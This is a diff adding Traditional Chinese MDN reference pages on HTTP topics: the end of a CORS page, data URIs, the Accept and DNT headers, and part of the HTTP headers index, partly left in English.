+<p>請注意在任何存取控制請求中，{{HTTPHeader("Origin")}} 標頭<strong>永遠</strong>都要送出。</p>
+
+<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3>
+
+<p>{{HTTPHeader("Access-Control-Request-Method")}} 標頭用在發出的預檢請求中，告訴伺服器後續實際（actual）請求所用的 HTTP 方法。</p>
+
+<pre class="brush: none">Access-Control-Request-Method: &lt;method&gt;
+</pre>
+
+<p>此標頭的相關範例可參考<a class="internal" href="#Preflighted_requests">上方說明</a>。</p>
+
+<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3>
+
+<p>{{HTTPHeader("Access-Control-Request-Headers")}} 標頭用在發出的預檢請求中，告訴伺服器端後續實際（actual）請求所帶的 HTTP 標頭。</p>
+
+<pre class="brush: none">Access-Control-Request-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<p>此標頭的相關範例可參考<a class="internal" href="#Preflighted_requests">上方說明</a>。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h3 id="相容性備註">相容性備註</h3>
+
+<ul>
+ <li>IE8 和 IE9 支援 CORS 透過 XDomainRequest 物件，IE10 開始則完全正常支援。</li>
+ <li>Firefox 3.5 引進支援跨站 XMLHttpRequests 與 Web Fonts，較舊版本上某些請求會受到限制。Firefox 7 引進支援 WebGL 紋理的跨站 HTTP 請求，而 Firefox 9 新增支援使用 <code>drawImage</code> 方法將圖形繪製於 canvas 中。</li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a class="external" href="http://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li>
+ <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side &amp; Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li>
+ <li><a class="internal" href="/zh-TW/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/cors/">Cross-Origin Resource Sharing specification</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li><a href="/zh-TW/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/data_uris/index.html b/files/zh-tw/web/http/data_uris/index.html
new file mode 100644
index 0000000000..a8332c7cf3
--- /dev/null
+++ b/files/zh-tw/web/http/data_uris/index.html
@@ -0,0 +1,128 @@
+---
+title: data URIs
+slug: Web/HTTP/data_URIs
+tags:
+  - Base64
+  - Guide
+  - URI
+translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs
+---
+<p><code>data</code> URIs, 由 <a class="external" href="http://tools.ietf.org/html/rfc2397" title="http://tools.ietf.org/html/rfc2397">RFC 2397</a> 文件定義, 允許作者在文件中嵌入檔案.</p>
+
+<h2 id="Syntax" name="Syntax">表達式</h2>
+
+<p>data URI 的表達式如下：</p>
+
+<pre class="eval notranslate">data:[&lt;mediatype&gt;][;base64],&lt;data&gt;
+</pre>
+
+<p><code>mediatype</code> 為一 MIME type 字串，例如 JPEG 圖檔為「<code>image/jpeg</code>」，為非必要參數，若省略的話，默認值為「<code>text/plain;charset=US-ASCII</code>」。</p>
+
+<p>If the data is textual, you can simply embed the text (using the appropriate entities or escapes based on the enclosing document's type). Otherwise, you can specify <code>base64</code> to embed base64-encoded binary data.</p>
+
+<h3 id="範例">範例</h3>
+
+<dl>
+ <dt>data:,Hello%2C%20World!</dt>
+ <dd>一個簡單的 text/plain data</dd>
+ <dt>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</dt>
+ <dd>同前者，但經過 base64 編碼。</dd>
+ <dt>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</dt>
+ <dd>一 HTML 檔，內容為<code>&lt;h1&gt;Hello, World&lt;/h1&gt;</code></dd>
+</dl>
+
+<h2 id="Encoding_data_into_base64_format" name="Encoding_data_into_base64_format">以 base64 格式編碼資料</h2>
+
+<p>在 Linux 和 Mac OS X 中，可以在終端機輸入下面的程式碼來進行編碼：</p>
+
+<pre class="eval notranslate">uuencode -m <code>infile</code> <code>remotename</code>
+</pre>
+
+<p>The <code>infile</code> parameter is the name of the file you wish to encode into base64 format, and <code>remotename</code> is the remote name for the file, which isn't actually used in <code>data</code> URLs.</p>
+
+<p>輸出結果如下所示：</p>
+
+<pre class="eval notranslate">begin-base64 664 test
+YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
+====
+</pre>
+
+<p>The <code>data</code> URI will use the encoded data after the initial header line.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>請先閱讀文章《 <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 encoding and decoding</a>. 》。</p>
+
+<h2 id="Converting_an_nsIFile_to_a_data_URI" name="Converting_an_nsIFile_to_a_data_URI">轉換 nsIFile 至data URI</h2>
+
+<p>This function returns a base 64-encoded data URI from the passed <a href="/en/XPCOM_Interface_Reference/nsIFile" title="en/nsIFile">nsIFile</a>.</p>
+
+<pre class="brush: js notranslate">function generateDataURI(file) {
+  var contentType = Components.classes["@mozilla.org/mime;1"]
+                              .getService(Components.interfaces.nsIMIMEService)
+                              .getTypeFromFile(file);
+  var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                              .createInstance(Components.interfaces.nsIFileInputStream);
+  inputStream.init(file, 0x01, 0600, 0);
+  var stream = Components.classes["@mozilla.org/binaryinputstream;1"]
+                         .createInstance(Components.interfaces.nsIBinaryInputStream);
+  stream.setInputStream(inputStream);
+  var encoded = btoa(stream.readBytes(stream.available()));
+  return "data:" + contentType + ";base64," + encoded;
+}
+</pre>
+
+<h2 id="安全">安全</h2>
+
+<div class="note">
+<p><strong>Note:</strong> Prior to {{Gecko("6.0")}}, <code>data</code> URIs inherited the security context of the page currently in the browser window if the user enters a <code>data</code> URI into the location bar. Now <code>data</code> URIs get a new, empty, security context.</p>
+</div>
+
+<h2 id="Common_problems" name="Common_problems">常見的問題</h2>
+
+<p>以下列舉幾個再使用 <code>data</code> URIs 時常遇到的問題.</p>
+
+<dl>
+ <dt>表達式</dt>
+ <dd><code>data</code> URIs 的格式十分簡單, 但是我們容易忘記在 "data" 區塊前面使用逗號, 或是不正確的將資料轉換為 base64 的格式.</dd>
+ <dt>在HTML 的格式</dt>
+ <dd>A <code>data</code> URI provides a file within a file, which can potentially be very wide relative to the width of the enclosing document. As a URL, the <code>data</code> should be formatable with whitespace (linefeed, tab, or spaces), but there are practical issues that arise <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">when using base64 encoding</a>.</dd>
+ <dt>長度限制</dt>
+ <dd>Although Mozilla supports <code>data</code> URIs of essentially unlimited length, browsers are not required to support any particular maximum length of data. For example, the Opera 11 browser limits <code>data</code> URIs to around 65000 characters.</dd>
+ <dt>缺乏錯誤處理</dt>
+ <dd>Invalid parameters in media, or typos when specifying "base64", are ignored, but no error is provided.</dd>
+ <dt>未支援 query 字串, etc.</dt>
+ <dd>
+ <p>The data portion of a data URI is opaque, so an attempt to use a query string (page-specific parameters, with the syntax <code><em>&lt;url&gt;</em>?parameter-data</code>) with a data URI will just include the query string in the data the URI represents. For example:</p>
+
+ <pre class="eval notranslate">data:text/html,lots of text...&lt;p&gt;&lt;a name%3D"bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+ <p>This represents an HTML resource whose contents are:</p>
+
+ <pre class="eval notranslate">lots of text...&lt;p&gt;&lt;a name="bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+ <p>Note: as of Firefox 6, fragments (anchors) are processed consistent with other URI schemes, thus a bare "#" in the content needs to be escaped as '%23'.</p>
+ </dd>
+</dl>
+
+<h2 id="Support_in_other_browsers" name="Support_in_other_browsers">瀏覽器的支援</h2>
+
+<p>The <code>data</code> scheme is supported by Opera 7.20 and above, as well as Safari and Konqueror. Internet Explorer 7 and below, however, do not currently support it. Internet Explorer 8 and above only supports <code>data</code> URIs for images in CSS, &lt;link&gt;, and &lt;img&gt;.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li><a href="/en-US/docs/Web/CSS/uri" title="/en-US/docs/Web/CSS/uri">CSS <code>url()</code></a></li>
+ <li><a href="/en-US/docs/URI" title="/en-US/docs/URI">URI</a></li>
+</ul>
+
+<h2 id="Resources" name="Resources">資源</h2>
+
+<ul>
+ <li><a class="external" href="http://tools.ietf.org/html/rfc2397" title="http://tools.ietf.org/html/rfc2397">RFC 2397</a> -- The "data" URL scheme"</li>
+</ul>
diff --git a/files/zh-tw/web/http/headers/accept/index.html b/files/zh-tw/web/http/headers/accept/index.html
new file mode 100644
index 0000000000..e0544a0bc6
--- /dev/null
+++ b/files/zh-tw/web/http/headers/accept/index.html
@@ -0,0 +1,92 @@
+---
+title: Accept
+slug: Web/HTTP/Headers/Accept
+translation_of: Web/HTTP/Headers/Accept
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Accept</code></strong> HTTP 請求標頭（以 <a href="/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a> 標示）會對伺服器告知用戶端可解讀的內容類型。伺服器可以透過 <a href="/zh-TW/docs/Web/HTTP/Content_negotiation">content negotiation</a> 來選用可行的協定，並以 {{HTTPHeader("Content-Type")}} 標頭告知用戶端。針對本標頭，瀏覽器可以根據完成請求的脈絡，來決定適合的數值：像是擷取 CSS 時，給予的值就會和圖片、影像、腳本不一樣。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">標頭類型</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("CORS-safelisted request header")}}</th>
+   <td>yes, with the additional restriction that values can't contain a <em>CORS-unsafe request header byte</em>: <code>"():&lt;&gt;?@[\]{}</code>, Delete, Tab and control characters: 0x00 to 0x19.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">Accept: &lt;MIME_type&gt;/&lt;MIME_subtype&gt;
+Accept: &lt;MIME_type&gt;/*
+Accept: */*
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
+</pre>
+
+<h2 id="指令">指令</h2>
+
+<dl>
+ <dt><code>&lt;MIME_type&gt;/&lt;MIME_subtype&gt;</code></dt>
+ <dd>一個精確的 <a href="/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>，例如<code>text/html</code>。</dd>
+ <dt><code>&lt;MIME_type&gt;/*</code></dt>
+ <dd>一個不指定子類的 MIME type。<code>image/*</code> 會配對到 <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> 和等圖片類型。</dd>
+ <dt><code>*/*</code></dt>
+ <dd>所有 MIME type</dd>
+ <dt><code>;q=</code> (q-factor weighting)</dt>
+ <dd>Any value used is placed in an order of preference expressed using relative <a href="/en-US/docs/Glossary/Quality_values">quality value</a> called the <em>weight</em>.</dd>
+</dl>
+
+<h2 id="示例">示例</h2>
+
+<pre>Accept: text/html
+
+Accept: image/*
+
+// General default
+Accept: */*
+
+// Default for navigation requests
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "Accept", "5.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Accept")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>HTTP <a href="/zh-TW/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+ <li>Header with the result of the content negotiation: {{HTTPHeader("Content-Type")}}</li>
+ <li>類似標頭：{{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/headers/dnt/index.html b/files/zh-tw/web/http/headers/dnt/index.html
new file mode 100644
index 0000000000..81c152f6a5
--- /dev/null
+++ b/files/zh-tw/web/http/headers/dnt/index.html
@@ -0,0 +1,83 @@
+---
+title: DNT
+slug: Web/HTTP/Headers/DNT
+translation_of: Web/HTTP/Headers/DNT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>DNT</code></strong>（<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack，<strong>請勿追蹤</strong>）請求標頭表明用戶針對追蹤程式的設定。它能讓用戶表達自己相較於個人化設定，更在乎個人隱私。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">標頭類型</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>是</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">DNT: 0
+DNT: 1
+</pre>
+
+<h2 id="指令">指令</h2>
+
+<dl>
+ <dt>0</dt>
+ <dd>用戶允許目標網站追蹤之。</dd>
+ <dt>1</dt>
+ <dd>用戶不允許目標網站追蹤。</dd>
+</dl>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="請參考_JavaScript_的_Do_Not_Track">請參考 JavaScript 的 Do Not Track</h3>
+
+<p>用戶的 DNT 設定也能透過 JavaScript 的 {{domxref("Navigator.doNotTrack")}} 設定檢查：</p>
+
+<pre class="brush: js">navigator.doNotTrack; // "0" or "1"</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td>
+   <td>{{Spec2("Tracking")}}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.DNT")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Navigator.doNotTrack")}}</li>
+ <li>{{HTTPHeader("Tk")}} 標頭</li>
+ <li>維基百科的<a href="https://zh.wikipedia.org/zh-tw/%E8%AF%B7%E5%8B%BF%E8%BF%BD%E8%B8%AA">Do Not Track </a></li>
+ <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li>
+ <li><a href="http://donottrack.us/">donottrack.us</a></li>
+ <li>瀏覽器設定 DNT 的幫助：
+  <ul>
+   <li><a href="https://www.mozilla.org/zh-tw/firefox/dnt/">Firefox</a></li>
+   <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/http/headers/index.html b/files/zh-tw/web/http/headers/index.html
new file mode 100644
index 0000000000..f2206c0e39
--- /dev/null
+++ b/files/zh-tw/web/http/headers/index.html
@@ -0,0 +1,360 @@
+---
+title: HTTP headers
+slug: Web/HTTP/Headers
+tags:
+  - HTTP
+  - Headers
+  - NeedsTranslation
+  - Networking
+  - Reference
+  - TopicStub
+translation_of: Web/HTTP/Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon '<code>:</code>', then by its value (without line breaks). Leading white space before the value is ignored.</p>
+
+<p>Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; others are listed in an <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</p>
+
+<p>Headers can be grouped according to their contexts:</p>
+
+<ul>
+ <li>{{Glossary("General header")}}: Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.</li>
+ <li>{{Glossary("Request header")}}: Headers containing more information about the resource to be fetched or about the client itself.</li>
+ <li>{{Glossary("Response header")}}: Headers with additional information about the response, like its location or about the server itself (name and version etc.).</li>
+ <li>{{Glossary("Entity header")}}: Headers containing more information about the body of the entity, like its content length or its MIME-type.</li>
+</ul>
+
+<p>Headers can also be grouped according to how proxies handle them:</p>
+
+<dl>
+ <dt><a id="e2e" name="e2e"></a>End-to-end headers</dt>
+ <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.</dd>
+ <dt><a id="hbh" name="hbh"></a>Hop-by-hop headers</dt>
+ <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd>
+</dl>
+
+<p>The following list summaries HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.</p>
+
+<h2 id="Authentication">Authentication</h2>
+
+<dl>
+ <dt>{{HTTPHeader("WWW-Authenticate")}}</dt>
+ <dd>Defines the authentication method that should be used to gain access to a resource.</dd>
+ <dt>{{HTTPHeader("Authorization")}}</dt>
+ <dd>Contains the credentials to authenticate a user agent with a server.</dd>
+ <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt>
+ <dd>Defines the authentication method that should be used to gain access to a resource behind a Proxy server.</dd>
+ <dt>{{HTTPHeader("Proxy-Authorization")}}</dt>
+ <dd>Contains the credentials to authenticate a user agent with a proxy server.</dd>
+</dl>
+
+<h2 id="Caching">Caching</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Age")}}</dt>
+ <dd>The time in seconds the object has been in a proxy cache.</dd>
+ <dt>{{HTTPHeader("Cache-Control")}}</dt>
+ <dd>Specifies directives for caching mechanisms in both, requests and responses.</dd>
+ <dt>{{HTTPHeader("Expires")}}</dt>
+ <dd>The date/time after which the response is considered stale.</dd>
+ <dt>{{HTTPHeader("Pragma")}}</dt>
+ <dd>Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the <code>Cache-Control</code> header is not yet present.</dd>
+ <dt>{{HTTPHeader("Warning")}}</dt>
+ <dd>A general warning field containing information about possible problems.</dd>
+</dl>
+
+<h2 id="Client_hints">Client hints</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Content-DPR")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("DPR")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Downlink")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Save-Data")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Viewport-Width")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Width")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<dl>
+ <dt>
+ <h2 id="Conditionals">Conditionals</h2>
+ </dt>
+ <dt>{{HTTPHeader("Last-Modified")}}</dt>
+ <dd>It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.</dd>
+ <dt>{{HTTPHeader("ETag")}}</dt>
+ <dd>It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.</dd>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.</dd>
+</dl>
+
+<h2 id="Connection_management">Connection management</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Connection")}}</dt>
+ <dd>Controls whether or not the network connection stays open after the current transaction finishes.</dd>
+ <dt>{{HTTPHeader("Keep-Alive")}}</dt>
+ <dd>Controls how long a persistent connection should stay open.</dd>
+</dl>
+
+<h2 id="Content_negotiation">Content negotiation</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept")}}</dt>
+ <dd>Informs the server about the types of data that can be sent back. It is MIME-type.</dd>
+ <dt>{{HTTPHeader("Accept-Charset")}}</dt>
+ <dd>Informs the server about which character set the client is able to understand.</dd>
+ <dt>{{HTTPHeader("Accept-Encoding")}}</dt>
+ <dd>Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.</dd>
+ <dt>{{HTTPHeader("Accept-Language")}}</dt>
+ <dd>Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Controls">Controls</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Expect")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Max-Forwards")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Cookies">Cookies</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Cookie")}}</dt>
+ <dd>Contains stored <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.</dd>
+ <dt>{{HTTPHeader("Set-Cookie")}}</dt>
+ <dd>Send cookies from the server to the user agent.</dd>
+ <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.</dd>
+ <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.</dd>
+ <dt>
+ <h2 id="CORS">CORS</h2>
+ </dt>
+ <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt>
+ <dd>Indicates whether the response can be shared.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt>
+ <dd>Indicates whether or not the response to the request can be exposed when the credentials flag is true.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt>
+ <dd>Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt>
+ <dd>Specifies the method or methods allowed when accessing the resource in response to a preflight request.</dd>
+ <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt>
+ <dd>Indicates which headers can be exposed as part of the response by listing their names.</dd>
+ <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt>
+ <dd>Indicates how long the results of a preflight request can be cached.</dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt>
+ <dd>Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.</dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt>
+ <dd>Used when issuing a preflight request to let the server know which <a href="/en-US/docs/Web/HTTP/Methods">HTTP method</a> will be used when the actual request is made.</dd>
+ <dt>{{HTTPHeader("Origin")}}</dt>
+ <dd>Indicates where a fetch originates from.</dd>
+</dl>
+
+<h2 id="Do_Not_Track">Do Not Track</h2>
+
+<dl>
+ <dt>{{HTTPHeader("DNT")}}</dt>
+ <dd>Used for expressing the user's tracking preference.</dd>
+ <dt>{{HTTPHeader("Tk")}}</dt>
+ <dd>Indicates the tracking status that applied to the corresponding request.</dd>
+</dl>
+
+<h2 id="Downloads">Downloads</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Disposition")}}</dt>
+ <dd>Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.</dd>
+</dl>
+
+<h2 id="Message_body_information">Message body information</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Length")}}</dt>
+ <dd>indicates the size of the entity-body, in decimal number of octets, sent to the recipient.</dd>
+ <dt>{{HTTPHeader("Content-Type")}}</dt>
+ <dd>Indicates the media type of the resource.</dd>
+ <dt>{{HTTPHeader("Content-Encoding")}}</dt>
+ <dd>Used to specify the compression algorithm.</dd>
+ <dt>{{HTTPHeader("Content-Language")}}</dt>
+ <dd>Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.</dd>
+ <dt>{{HTTPHeader("Content-Location")}}</dt>
+ <dd>Indicates an alternate location for the returned data.</dd>
+ <dt>
+ <h2 id="Proxies">Proxies</h2>
+ </dt>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Forwarded")}}</dt>
+ <dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt>
+ <dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt>
+ <dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt>
+ <dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd>
+ <dt>{{HTTPHeader("Via")}}</dt>
+ <dd>Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd>
+</dl>
+
+<h2 id="Redirects">Redirects</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Location")}}</dt>
+ <dd>Indicates the URL to redirect a page to.</dd>
+</dl>
+
+<h2 id="Request_context">Request context</h2>
+
+<dl>
+ <dt>{{HTTPHeader("From")}}</dt>
+ <dd>Contains an Internet email address for a human user who controls the requesting user agent.</dd>
+ <dt>{{HTTPHeader("Host")}}</dt>
+ <dd>Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.</dd>
+ <dt>{{HTTPHeader("Referer")}}</dt>
+ <dd>The address of the previous web page from which a link to the currently requested page was followed.</dd>
+ <dt>{{HTTPHeader("Referrer-Policy")}}</dt>
+ <dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd>
